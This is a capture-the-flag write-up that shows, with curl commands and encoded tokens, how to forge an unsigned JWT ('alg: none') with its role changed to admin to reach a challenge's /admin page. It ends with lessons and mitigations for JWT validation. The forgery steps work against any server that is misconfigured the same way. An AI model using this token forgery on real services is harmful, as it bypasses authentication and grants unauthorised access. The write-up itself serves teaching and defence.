Writeup · SAF Pre-Qualifiers 2026

JWT Forgery

webunknownsolvedFlag: safctf{REDACTED}

Overview

The challenge presents a web app that returns {"username": "bob", "role": "user", "message": "no /admin access"} at the root, and sets an auth cookie containing a JWT. The goal is to forge a token that grants admin access and retrieve the flag from /admin.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

A JWT decoder (e.g. python3 -c "import base64; ..." or jwt.io) is used to inspect and re-encode the token. No credentials are required.

Recon

Step 1 — Request the root endpoint

Goal: Observe the app’s response and capture the auth cookie.

curl "$TARGET/"
{
  "username": "bob",
  "role": "user",
  "message": "no /admin access"
}

The browser request also revealed an auth cookie containing a JWT:

auth=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJ1c2VyIn0.

Interpretation: The server issues a JWT in the auth cookie. The next step is to inspect its parts.

Enumeration

Step 2 — Inspect the JWT

Goal: Decode the header and payload to identify the signing algorithm and claims.

HEADER.PAYLOAD.SIGNATURE

Header:

{
  "alg": "none",
  "typ": "JWT"
}

Payload:

{
  "username": "bob",
  "role": "user"
}

Interpretation: alg: none means the JWT carries no cryptographic signature. The payload can therefore be modified without knowing a secret key, and the server will trust the modified claims if it honors the client-supplied alg.

Vulnerability Analysis

The flaw class is JWT None Algorithm / Insecure Token Validation (related to CWE-287: Improper Authentication and CWE-345: Insufficient Verification of Data Authenticity).

Exploitation

Step 3 — Forge the JWT

Goal: Change the role claim to admin and re-encode the token with alg: none.

Original payload:

{
  "username": "bob",
  "role": "user"
}

Forged payload:

{
  "username": "bob",
  "role": "admin"
}

Base64URL-encoded forged payload:

eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJhZG1pbiJ9

Forged JWT (header.payload., with an empty signature after the final .):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJhZG1pbiJ9.

Step 4 — Access /admin with the forged token

Goal: Send the forged token in the auth cookie and retrieve the flag.

TOKEN='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJhZG1pbiJ9.'

curl -i "$TARGET/admin" \
  -H "Cookie: auth=$TOKEN"
{
  "message": "Welcome, admin!",
  "flag": "safctf{REDACTED}"
}

Interpretation: The forged none-algorithm JWT was accepted, granting administrative access and revealing the flag.

Flag

safctf{REDACTED}

Returned by /admin after presenting the forged alg: none JWT with role: admin.

Lessons / Takeaways

  • Never trust the alg field in a client-supplied JWT; the server must enforce exactly one expected signing algorithm.
  • Reject alg: none explicitly — some libraries accept it by default.
  • With alg: none, there is no signature, so any claim can be forged without a key.

Mitigations

  • Configure JWT verification to accept only a single, expected algorithm (e.g. HS256 or RS256) and explicitly reject none.
  • Verify the signature before trusting any claim, using a server-held secret or public key.
  • Treat JWT claims as untrusted until the signature is validated.

Techniques

References